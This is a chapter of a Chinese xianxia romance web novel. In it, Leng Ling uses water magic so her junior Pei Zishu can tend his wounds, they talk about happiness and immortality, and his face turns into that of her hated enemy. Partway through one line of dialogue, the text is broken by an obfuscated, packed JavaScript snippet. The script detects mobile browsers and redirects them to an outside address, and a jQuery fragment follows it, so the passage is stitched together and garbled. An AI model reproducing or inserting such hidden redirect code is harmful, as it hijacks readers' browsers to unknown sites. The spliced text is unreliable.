林子里大片的枫叶都被裴自恕的天眼灵光炸飞,但地面却还铺着厚厚一层。
冷灵好一阵搜寻才找到被枫叶覆盖的行囊。
两件行囊,一件她的,还有一件是裴自恕的。
一路上,基本是裴自恕背着。
她在这些事上是半点力不愿出的,裴自恕却在这些事上比她细心多了,不管经历什么事总能记着把行囊带在身边。
而她的那件行囊装着的除了换洗衣衫外,便是诸多她自制的符箓。
那道续命金符就是其一。
金色续命符难制,本想在危急关头留给自己,却没想到用到了裴自恕身上。
也算是他背了那么多日行囊的一点报酬了。
此刻,冷灵从自己的行囊里拿出一块干净绢布递给引魂煞:“你来。”
引魂煞:“???”
它来?来干什么?帮小裴擦拭?
揣着疑惑,引魂煞看向裴自恕,果就见他皱起眉头,脸上写着“不愿”二字。
傻小子,真好玩。这般痴情,帮他一把。
引魂煞为难道:“冷大仙,我来的话兴许会伤到小裴,他这身子可经不住折腾了。”
冷灵瞥了眼它摇摆晃动的尖锐鸡爪,淡笑:“没事。他抗揍,也经得住折腾。”
“师姐……”
裴自恕又黏黏糊糊地唤了一声。
花招用多了便无用。
冷灵挑眉:“喊我做什么?我说得有何问题?你就是很抗揍啊。”
裴自恕:“……”
“整个中州大陆,没有比你还能抗揍的人了。我也不能比。所以……”冷灵看向引魂煞,续道:“你大可放心。此事就交给你了。”
引魂煞“呃”了一声,朝裴自恕露出一个“没办法,我真的帮不了你”的眼神。
裴自恕低着脑袋没有说话,方才因为师姐对他心软而生的那点窃喜这时候也烟消云散了。
过了几息,他道:“我自己来吧。”
既然师姐不愿碰他,那他也不愿别的人或者妖煞碰他。
引魂煞倏遭嫌弃,白着眼将绢布递给他。
不要它擦还好呢,乐得清闲。
冷灵轻哼一声,无视裴自恕的别扭,站起身,往远处走了几步。
裴自恕视线追随着她,见她越走越远,刚要出声问她要做什么,就见一道银色灵光从她指尖释出。
他睁大眼,定睛看着。
同时也在纳闷师姐的灵光术一贯都是金色,这会儿怎么变成银色?
正好奇,忽听淙淙水流声。
水流声??
不是他的错觉,是真的有水横空流向这边,且到了他眼前。
御水术!?
冷灵调了一波水过来。
水流聚集到裴自恕面前,像是下面有个看不见的木盆盛着,漏不了一点。
“既然说了自己来,”冷灵看着他,缓道:“那你便自己擦吧。”
裴自恕懵着应了声“好”。
他将绢布放到水里,出于好奇,忽然搅和起来,画了好几个阴阳无极。
可不管他怎么折腾,面前的水都不会四散飞溅。
真是奇怪。
就在这时,低低嗓音响起:“好玩么?”
裴自恕看去,就见师姐脸色微沉地看着他。
在她警告的目光下,他没再瞎玩,认真地浸湿了绢布。
绢布拿起,泛着丝丝银光。
看着像是润了灵药。
裴自恕在擦拭身子前还是问出心中疑惑。
“师姐,”他稍稍偏头看着她:“你方才施展的是御水术?”
是。
不过是仰天宗的御水术。
冷灵颔首:“嗯,怎么?”
要开始明着试探她了?
这般怀疑,却听裴自恕道:“你方才施展御水术,不久前又施展御风术,之前进盲哑村时我见师姐你也施展过御禽术,就是那只小乌鸦……师姐真厉害,还有什么是你不能御的么?”
不管他问这些的原因到底是什么,只要问及道法相关,冷灵都愿意回答:“灵力修为足够,万物皆可御。你好好修行,有朝一日也能做得到。”
裴自恕“嗯”了一声,静静听着。
“不过我这道御水术同你邬泽大哥那门道法不太一样。邬掌座能御水化人形,与他心智纯净有关,我嘛……”
为人这块,冷灵可不敢说她比得上邬泽。
邬泽光明磊落,不重名利,是少见的正人君子,她也很欣赏他。
至于她自己……
她自小天赋异禀,但自十九岁下山辅佐南褚天子基业、插手人界政权后,身上的担子也变得沉重无比。
做任何事、任何决定都不能出错。
出了一点错,丢的不仅是她的脸,还会毁了师门的名誉。
久而久之,不仅做不到坦荡自然,对名声看得也极重。
就连修行道法都带了个人私欲——一定不能有人比她更厉害!
所以她很欣赏邬泽的坦直和淡泊。
十八岁便是玄门掌座,风光无限,却不骄不躁,平等视众生。别人笑他奇葩,他不当回事,一门心思只匡扶正义。斩妖除魔前必调查清楚,不错杀一个好妖。此等心胸,当真难得。
玄门正宗若都是邬泽这样的人,玄门和鬼道的积怨也未必不能缓解。
想此,她话锋一转,给裴自恕解释了下两道御水术有哪些不同。
裴自恕就是注意到师姐谈起道法时眼都亮了,所以才会追问“御术”。
心想只要顺着她说,她肯定会和他多聊一些,于是道:“师姐,你会那么多道法,有没有最喜欢用的?”
这是完全不掩饰知晓她身份这件事了?
冷灵淡然看他,也不刻意揭破这点,从容地顺着他的问题答:“有是有,我最喜欢用剑。不过……”
“不过什么?”裴自恕问。
“不过用什么要视情况而定,比如现在……”冷灵顿住,忽而笑了笑,说:“我最想用噤符,且是对你用。”
裴自恕懵住:“……”
冷灵继续笑道:“你要磨蹭到什么时候呢,小裴公子?”
裴自恕被她满含戏谑的笑容晃了眼。
心脏又是好一阵乱跳。
他低头用绢布擦身,这一擦,发现蹊跷。
竟然一点儿不疼!
他还以为……
到了这时,他忽然明白过来了。
难怪师姐会特意从行囊里拿出一块绢布,她还是不想他疼的。
想清楚这一点,一时间心里像吃了蜜,甜丝丝的。
他抬眸看她,眼睛晶亮,情意不掩,声音都带着欢愉。
“师姐,”他又忍不住找她说话,“做什么事会让你觉得快乐?”
冷灵一怔。
别说快乐了,她听到这句话后直接不快乐了。
她并不是那种会和别人聊私事的人,关系再好,也不会。
“话真多。”冷灵板起脸,斥他:“问这些没用的做什么?”
“怎么会没用呢,我不觉得没用。”裴自恕鼓足勇气看着她,缓慢且坚定道:“只要是师姐觉得快乐的事,我就会帮你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719250|189397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实现。”
冷灵:“……”
见他目光和神情都极为认真,冷灵心头泛起一股难言之感。
仇人的后人居然要帮她实现让她快乐的事,真是好笑。
她歪头看着他,语气半是轻蔑,半是迟疑:“你?帮我实现?”
裴自恕知道她不信,说不定心里还瞧不上他,但他还是要说清楚。若是什么都不说,师姐又怎会明了他心意。
“对,”他肯定道:“我会帮你实现。哪怕这件事要我的命,我也愿意。”
冷灵:“……”
良久,她撇开眼。轻嗤一声:“擦你的身子吧。”
裴自恕笑笑,低头继续擦拭。
那浸湿的绢布果真神奇,擦拭过后的血肉逐渐愈合。
这段时间里,冷灵还真想了下裴自恕方才的问题。
做什么事会让她觉得快乐?
她一直被责任压着。
真要问她哪一段日子最快乐,大概就是在仰天宗学艺的时候了。
日日都能学到新奇的道法,学了便用,还能教授师弟妹。
她喜欢做这些事。
可如今呢?
快乐没有,那很遥远。
但有目标,就在心中。
冷灵仰首看天,忽而道了八字。
“诛邪斩佞,修仙成神。”
裴自恕正在擦拭的手停住,又一次看向她。
火光下的师姐似被淡淡忧伤环绕,他跟着心一疼。
师姐是孤儿,他也是。
若是……
裴自恕舔了下唇,轻声问:“师姐,你说,神仙可以成亲么?”
冷灵含笑瞧了他一眼。
裴自恕顿觉自己那点心思被看穿了,耳朵肉眼可见地变红。
随即便听到她的打趣:“裴公子博闻强识,难道没听过神仙眷侣四个字么?”
裴自恕:“……”
他自然听过。
就是听过,所以他想:你想成神,我便助你成神,我也会努力成神。
这样,我们是不是就可以……
可他心中所想谈何容易,事事哪能如他愿?
肿得看不清五官的脸在擦洗后逐渐恢复,而他却盯着水面倒映的自己失了神。
他的这张脸……
竟然变了?
变得像另一个人。
正是师姐梦里的那个男人,也是她恨之入骨的那个人。
他明明前不久才信誓旦旦地说他不是那个人!现在呢,要他怎么说?
为什么要这么玩弄他?到底为什么?他做错了什么!?
冷灵自然也看清了他现在的样子。
长发披散,本来白皙俊秀的一张脸,现在面部轮廓如刀刻般分明,眉骨与下颌线勾勒出硬朗的线条。赤着上身更能看得出骨架较之前宽大些。
上身血肉虽然没有刚脱下衣服时看着那般吓人,但仍有一些青紫印痕,尤其是腰腹那块,看起来像是久经战场留下的陈年旧伤。
这一切都和裴勋那般相像。当然,最像的还属那双凤眼!
就是这双眼睛,曾当着两国军民的面极尽羞辱她。
冷灵手执踏雪剑,微微推开剑鞘。
微露的剑刃顿时闪出一道银光,照得裴自恕眼睫轻轻颤动,也让他回了神。
“师姐……”
他看向她,轻轻唤。
冷灵未应,只是沉眸回看。
而她的反应像是在他的意料中,他忽然弯了弯唇,说:“方才我说的话还算数。若是能让师姐快乐……”就是要他的命,他也愿意。